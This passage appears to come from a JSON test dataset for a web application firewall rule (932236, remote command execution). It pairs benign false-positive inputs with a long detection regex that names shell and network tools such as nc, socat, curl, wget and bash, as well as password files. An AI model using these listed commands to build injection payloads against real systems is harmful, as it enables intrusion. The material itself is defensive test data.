?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "FP agains 'fi' without word boundary" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "args=MailerUI" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\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s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "FP MailerUI" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "args=tasksListView" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?: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$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))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),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi